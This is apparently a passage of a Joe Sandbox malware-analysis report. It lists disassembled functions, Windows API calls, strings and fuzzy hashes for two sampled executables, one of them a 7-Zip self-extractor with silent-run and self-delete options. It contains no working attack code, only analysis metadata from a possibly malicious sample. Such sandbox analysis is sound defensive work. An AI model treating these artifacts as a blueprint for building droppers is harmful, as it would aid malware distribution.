Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID: > @$KA
API String ID: 3519838083-301980584
Opcode ID: f9624756dcd051103a0faf5414ab264e1043146aad46313972ce47ae36e47b30
Instruction ID: 0797aa4f2666763f951e0621ef07ec53320c6840b80f95fc9e8c0876c74f2843
Opcode Fuzzy Hash: f9624756dcd051103a0faf5414ab264e1043146aad46313972ce47ae36e47b30
Instruction Fuzzy Hash: 27517D30D0020A9ACF15EF95C855AEEBF7AAF5430AF10452FE452372D2DB795B06CB89

Function 0041808D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 004180A1

Strings

, xrefs: 004180C6
, xrefs: 004180EA

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: 8b363f32da595bfb59a3e5cf7fceda2159d83bff833a4ab1ae99a185f1cff2df
Instruction ID: d0f9309d8466ab513fef0fe96190925d4c3a9a36aebfd3e00fd14af349a29a6b
Opcode Fuzzy Hash: 8b363f32da595bfb59a3e5cf7fceda2159d83bff833a4ab1ae99a185f1cff2df
Instruction Fuzzy Hash: 18417C322046586EEB22DB14CC4DFFB7FA8DB06700F9400EAD549C7162CA794985CBAA

Function 00405F5E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00405F63
LoadStringW.USER32(KA,?,?,00000000), ref: 00405FBC

Strings

KA, xrefs: 00405FB9

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prologLoadString
String ID: KA
API String ID: 385046869-4133974868
Opcode ID: e6db0625694eca8672df4367e77b25990e3c0bbb9f4bdb8bdb41469bebcffd79
Instruction ID: f8b33de4bb70f64bdff40eb498b0250b344fd9cf2a6d880d3b442eae3703c9f6
Opcode Fuzzy Hash: e6db0625694eca8672df4367e77b25990e3c0bbb9f4bdb8bdb41469bebcffd79
Instruction Fuzzy Hash: B8212771D0011A9BCB05EFA1C9919EEBBB5FF08308F10407AE106B6291DB794E40CB98

Function 00405EBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00405EC1
LoadStringA.USER32(KA,?,?,00000000), ref: 00405F12

Strings

KA, xrefs: 00405F0F

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prologLoadString
String ID: KA
API String ID: 385046869-4133974868
Opcode ID: 65d677eaf710bde40107d5e97ee8b2feebca7ae19d827cde6303db2279eeba92
Instruction ID: 682fdee239e6c4724d42c8af7adc4720fc3e2d38c4520a7b7ac2604701000241
Opcode Fuzzy Hash: 65d677eaf710bde40107d5e97ee8b2feebca7ae19d827cde6303db2279eeba92
Instruction Fuzzy Hash: 6C1126B1D011199ACB06EFA5C9959EEBBB4FF18304F50447EE445B3291DB7A5E00CBA4

Function 004160FA Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,00000000,00000000,00415EC2,00000000,00000000,00000000,00413EF1,00000000,00000000,?,00000000,00000000,00000000), ref: 00416122
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00415EC2,00000000,00000000,00000000,00413EF1,00000000,00000000,?,00000000,00000000,00000000), ref: 00416156
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 00416170
HeapFree.KERNEL32(00000000,?), ref: 00416187

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: b9288557613d4b1507cb107ac5399481b8ee784b68c3247b56fc213fdecf1f33
Instruction ID: c92a38fae87bb937ac208a7a453d8678043178d73965b4d0b203d58dccefea2c
Opcode Fuzzy Hash: b9288557613d4b1507cb107ac5399481b8ee784b68c3247b56fc213fdecf1f33
Instruction Fuzzy Hash: 98112B31300B01BFC7318F29EC869567BB5FB49764791862AF151C65B0C7709842CF48

Function 004156E1 Relevance: 5.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156EE
InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156F6
InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156FE
InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 00415706

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: 9da826fcb73db9b2f0886f92194b085cad0f2cdeae026ac3c84f39be76329a94
Instruction ID: 9a5a21d657ffcc76f5c3c67f011d6e28d8344b300781f1748fbef07cd2b7b2eb
Opcode Fuzzy Hash: 9da826fcb73db9b2f0886f92194b085cad0f2cdeae026ac3c84f39be76329a94
Instruction Fuzzy Hash: CCC00231A05138ABCB712B65FC048563FB5EB882A03558077A1045203186612C12EFD8

Analysis Process: ZwL0OipB1WfKucHfLydAfltr.exePID: 7868, Parent PID: 7556COMMON

Execution Graph

Execution Coverage:	13.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	1851
Total number of Limit Nodes:	20

Executed Functions

Function 00405BFC Relevance: 276.8, APIs: 102, Strings: 55, Instructions: 2009stringkeyboardwindowCOMMON

Download Yara Rule

APIs

?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00405C0F

Part of subcall function 00402017: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
Part of subcall function 00402017: CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
Part of subcall function 00402017: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
Part of subcall function 00402017: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
Part of subcall function 00402017: DispatchMessageW.USER32(?), ref: 00402069
Part of subcall function 00402017: KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
Part of subcall function 00402017: KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

GetVersionExW.KERNEL32(?,?,00000000), ref: 00405C2C
GetCommandLineW.KERNEL32(?,00000020,?,00000000), ref: 00405CBB

Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT ref: 0040313F
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT ref: 0040315A
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT ref: 00403162
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT ref: 004031D2

lstrlenW.KERNEL32(?,00000000,00000000), ref: 00405CE6

Part of subcall function 00404D0B: #17.COMCTL32(00000000,?,?), ref: 00404D17
Part of subcall function 00404D0B: SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
Part of subcall function 00404D0B: wsprintfW.USER32 ref: 00404DB8

wsprintfW.USER32 ref: 00405D45
_wtol.MSVCRT(-00000002), ref: 00405D7F
??3@YAXPAX@Z.MSVCRT ref: 00405DCE
??3@YAXPAX@Z.MSVCRT ref: 00405DE2
??3@YAXPAX@Z.MSVCRT ref: 00405DEA

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT ref: 004011FD

GetModuleFileNameW.KERNEL32(00000000,00000208), ref: 00405E61
_wtol.MSVCRT(-00000002), ref: 00405F89
??2@YAPAXI@Z.MSVCRT ref: 00406118
??3@YAXPAX@Z.MSVCRT ref: 0040619B
??3@YAXPAX@Z.MSVCRT ref: 00406211
??3@YAXPAX@Z.MSVCRT ref: 0040622D
??3@YAXPAX@Z.MSVCRT ref: 0040626B
wsprintfW.USER32 ref: 00406295
_wtol.MSVCRT(?), ref: 004064B6
??3@YAXPAX@Z.MSVCRT ref: 00406587
??3@YAXPAX@Z.MSVCRT ref: 004065D4
??3@YAXPAX@Z.MSVCRT ref: 004065DC
??3@YAXPAX@Z.MSVCRT ref: 004065FB
??3@YAXPAX@Z.MSVCRT ref: 00406653
??3@YAXPAX@Z.MSVCRT ref: 0040665B
GetCommandLineW.KERNEL32(?,00000000,?,?), ref: 004066C3
??3@YAXPAX@Z.MSVCRT ref: 0040673B
??3@YAXPAX@Z.MSVCRT ref: 00406743
??3@YAXPAX@Z.MSVCRT ref: 0040674B
??3@YAXPAX@Z.MSVCRT ref: 00406753
??3@YAXPAX@Z.MSVCRT ref: 0040675B
GetCurrentProcess.KERNEL32(000000FF,000000FF,?,?,?,?,00000000), ref: 00406767
SetProcessWorkingSetSize.KERNEL32(00000000), ref: 0040676E
??3@YAXPAX@Z.MSVCRT ref: 0040678A
??3@YAXPAX@Z.MSVCRT ref: 00406792
??3@YAXPAX@Z.MSVCRT ref: 0040679A
??3@YAXPAX@Z.MSVCRT ref: 004067A2
??3@YAXPAX@Z.MSVCRT ref: 004067BE
??3@YAXPAX@Z.MSVCRT ref: 004067C6
??3@YAXPAX@Z.MSVCRT ref: 004067CE
??3@YAXPAX@Z.MSVCRT ref: 004067D6
??3@YAXPAX@Z.MSVCRT ref: 0040687F
??3@YAXPAX@Z.MSVCRT ref: 004068A4
??3@YAXPAX@Z.MSVCRT ref: 00406916
CoInitialize.OLE32(00000000), ref: 00406937
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00406991
_wtol.MSVCRT(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00406A68
??3@YAXPAX@Z.MSVCRT ref: 00406A8B
??3@YAXPAX@Z.MSVCRT ref: 00406AC4
GetKeyState.USER32(00000010), ref: 00406B1B
??3@YAXPAX@Z.MSVCRT ref: 00406C59
??3@YAXPAX@Z.MSVCRT ref: 00406C67
??3@YAXPAX@Z.MSVCRT ref: 00406C92
??3@YAXPAX@Z.MSVCRT ref: 00406C9A
??3@YAXPAX@Z.MSVCRT ref: 00406CB6
??3@YAXPAX@Z.MSVCRT ref: 00406CBE
??3@YAXPAX@Z.MSVCRT ref: 00406CEE
??3@YAXPAX@Z.MSVCRT ref: 00406D2E
??3@YAXPAX@Z.MSVCRT ref: 00406D97
??3@YAXPAX@Z.MSVCRT ref: 00406D9F
??3@YAXPAX@Z.MSVCRT ref: 00406E64
??3@YAXPAX@Z.MSVCRT ref: 00406E6F
GetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E79
??3@YAXPAX@Z.MSVCRT ref: 00406F33
??3@YAXPAX@Z.MSVCRT ref: 00406F3B
_wtol.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406FCF
??3@YAXPAX@Z.MSVCRT ref: 004071AE
??3@YAXPAX@Z.MSVCRT ref: 004071B6
??3@YAXPAX@Z.MSVCRT ref: 004071DA
??3@YAXPAX@Z.MSVCRT ref: 00407223
??3@YAXPAX@Z.MSVCRT ref: 0040722B
??3@YAXPAX@Z.MSVCRT ref: 00407233
??3@YAXPAX@Z.MSVCRT ref: 00407239
??3@YAXPAX@Z.MSVCRT ref: 00407249
??3@YAXPAX@Z.MSVCRT ref: 00407251
??3@YAXPAX@Z.MSVCRT ref: 0040726E
??3@YAXPAX@Z.MSVCRT ref: 00407276
??3@YAXPAX@Z.MSVCRT ref: 0040727E
??3@YAXPAX@Z.MSVCRT ref: 00407286
??3@YAXPAX@Z.MSVCRT ref: 0040728E
??3@YAXPAX@Z.MSVCRT ref: 004072AF
??3@YAXPAX@Z.MSVCRT ref: 004072B7
??3@YAXPAX@Z.MSVCRT ref: 004072C3

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

??3@YAXPAX@Z.MSVCRT ref: 004072E4
??3@YAXPAX@Z.MSVCRT ref: 004072EC
??3@YAXPAX@Z.MSVCRT ref: 004072F4
??3@YAXPAX@Z.MSVCRT ref: 004072FA
??3@YAXPAX@Z.MSVCRT ref: 00407302
??3@YAXPAX@Z.MSVCRT ref: 0040730A
??3@YAXPAX@Z.MSVCRT ref: 00407312
??3@YAXPAX@Z.MSVCRT ref: 00407331
??3@YAXPAX@Z.MSVCRT ref: 00407339
??3@YAXPAX@Z.MSVCRT ref: 00407341
??3@YAXPAX@Z.MSVCRT ref: 00407347
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 00407380
??3@YAXPAX@Z.MSVCRT ref: 004073AA
??3@YAXPAX@Z.MSVCRT ref: 0040746E
??3@YAXPAX@Z.MSVCRT ref: 00407476
??3@YAXPAX@Z.MSVCRT ref: 0040748D
??3@YAXPAX@Z.MSVCRT ref: 004074A1
??3@YAXPAX@Z.MSVCRT ref: 004074A9
MessageBoxA.USER32(00000000,Sorry, this program requires Microsoft Windows 2000 or later.,7-Zip SFX,00000010), ref: 004074C2

Strings

SfxAuthor, xrefs: 0040696B
FinishMessage, xrefs: 004073D6
InstallPath, xrefs: 00406941
0A, xrefs: 0040603D
A, xrefs: 00406CDE
setup.exe, xrefs: 00406E2C, 00406E31, 00406E8C
7zSfxVarCmdLine2, xrefs: 004062CD, 00406675
$A, xrefs: 0040610C
sfxelevation, xrefs: 00405E14, 004066DF
nowait, xrefs: 00406F68
i386, xrefs: 0040703B
del, xrefs: 00407004
RunProgram, xrefs: 00406AE0, 00406BFB, 00406C09
7ZipSfx.%03x, xrefs: 00406CD1
forcenowait, xrefs: 00406F8C
ExecuteParameters, xrefs: 004070C7
sfxwaitall, xrefs: 00405DF8
shc, xrefs: 00406FE4
BeginPromptTimeout, xrefs: 004064E0, 00406A55
GUIMode, xrefs: 004063D9
7zSfxVarCmdLine1, xrefs: 0040661A
0A, xrefs: 00405E4F
BeginPrompt, xrefs: 00406AEB
7zSfxVarModulePlatform, xrefs: 00405CF4
Delete, xrefs: 0040738F
7zSfxString%d, xrefs: 0040628F
123456789ABCDEFGHJKMNPQRSTUVWXYZ, xrefs: 004069BD
0A, xrefs: 00406047
7-Zip SFX, xrefs: 004074B6
SelfDelete, xrefs: 0040645F, 0040743C
HelpText, xrefs: 004068CA
pA, xrefs: 00405F55
MiscFlags, xrefs: 0040641F
OverwriteMode, xrefs: 00406395
A, xrefs: 00406951
A, xrefs: 00406CFC
amd64, xrefs: 0040704E
7zSfxVarSystemLanguage, xrefs: 00405D52
" -, xrefs: 004066E4
sfxversion, xrefs: 00405DB3
waitall, xrefs: 00406EA5
hidcon, xrefs: 00406F4A
Shortcut, xrefs: 00407367
x86, xrefs: 00405CEF, 00407028
bpt, xrefs: 004064C7
GUIFlags, xrefs: 004063FC
sfxconfig, xrefs: 00405FEE, 004061C0
x64, xrefs: 00407061
ExecuteFile, xrefs: 00406ADB, 00406BD7, 00406BE5
7zSfxVarSystemPlatform, xrefs: 00405D07
Sorry, this program requires Microsoft Windows 2000 or later., xrefs: 004074BB
7zSfxVarCmdLine0, xrefs: 00405D12
sfxlang, xrefs: 00405D63
SetEnvironment, xrefs: 004067FC, 00406804, 0040688B
AutoInstall, xrefs: 00406B51, 00406BAC, 00406F13

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@$Message_wtol$lstrlen$??2@wsprintf$CommandCurrentFileFormatLineModuleProcessTimerlstrcpy$?_set_new_handler@@AttributesCallbackCreateDirectoryDispatchDispatcherErrorFolderFreeHandleInitializeKillLastLocalNamePathSizeSpecialStateUserVersionWindowWorkingwvsprintf
String ID: " -$$A$0A$0A$0A$123456789ABCDEFGHJKMNPQRSTUVWXYZ$7-Zip SFX$7ZipSfx.%03x$7zSfxString%d$7zSfxVarCmdLine0$7zSfxVarCmdLine1$7zSfxVarCmdLine2$7zSfxVarModulePlatform$7zSfxVarSystemLanguage$7zSfxVarSystemPlatform$AutoInstall$BeginPrompt$BeginPromptTimeout$Delete$ExecuteFile$ExecuteParameters$FinishMessage$GUIFlags$GUIMode$HelpText$InstallPath$MiscFlags$OverwriteMode$RunProgram$SelfDelete$SetEnvironment$SfxAuthor$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$amd64$bpt$del$forcenowait$hidcon$i386$nowait$pA$setup.exe$sfxconfig$sfxelevation$sfxlang$sfxversion$sfxwaitall$shc$waitall$x64$x86$A$A$A
API String ID: 1301190434-1447873201
Opcode ID: 80ae3e338bd2c6bf34f732366e6f21bef20734440bf6bcc7836777fffa1ed4bd
Instruction ID: 37b3d77bb6f8fb102f6eda89de8ddb12e9592f0eac1975534991a7b966549d26
Opcode Fuzzy Hash: 80ae3e338bd2c6bf34f732366e6f21bef20734440bf6bcc7836777fffa1ed4bd
Instruction Fuzzy Hash: 69E2E271904208AADF25AF62DC46AEE3768EF04304F54403BFD06B61D2EB7D9991CB5E

Function 004039E7 Relevance: 10.6, APIs: 7, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
??3@YAXPAX@Z.MSVCRT ref: 00403B30

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT ref: 004011FD

memcpy.MSVCRT ref: 00403AC2
??3@YAXPAX@Z.MSVCRT ref: 00403AFF
??3@YAXPAX@Z.MSVCRT ref: 00403B45

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@$FileTime$??2@AttributesSystemlstrlenmemcpy
String ID:
API String ID: 846840743-0
Opcode ID: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction ID: 952cd346550c55d7e35c26256f51fad4d5ed31c9206aabe41908170679320093
Opcode Fuzzy Hash: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction Fuzzy Hash: 4141E836A00112AADB20AF59C841ABF7B7CEB4170AF50413BEC81B21D1D77D5A4286DD

Function 0040367D Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,-00000001), ref: 0040368B
SetLastError.KERNEL32(00000010), ref: 004036A0

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction ID: 2afa7e6ed9b3c4e8b0be6899d5053f20146e769dcf51bfeaf0e83b5e475a48be
Opcode Fuzzy Hash: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction Fuzzy Hash: 7001AD30402014BEDB206F759C099EA3B5CAF0132AF204E32F822F23D0D739CB469A5E

Function 0040122A Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 00401246
SendMessageW.USER32(00008001,00000000,?), ref: 0040129F

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: DiskFreeMessageSendSpace
String ID:
API String ID: 696007252-0
Opcode ID: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction ID: 952f35bfd535ad09d3a1e6728af904cc40037fdc81ed9fa17bdc1f07510a46f8
Opcode Fuzzy Hash: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction Fuzzy Hash: 3F016DB4611208ABEB94DB52DC45F9A77A9AB01714F10807EFD00FA1F0C7B9A9808B1D

Function 00401B0B Relevance: 22.8, APIs: 15, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction ID: f12f3cbfd9e378c4fb4e9f7b852960855991058b71a72fc1bb9c774fc2295476
Opcode Fuzzy Hash: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction Fuzzy Hash: 2CB18071900204EFCF15EFA5C8849EEB7B5FF44304B20852BF812A72A1DB78E945CB59

Function 00402017 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
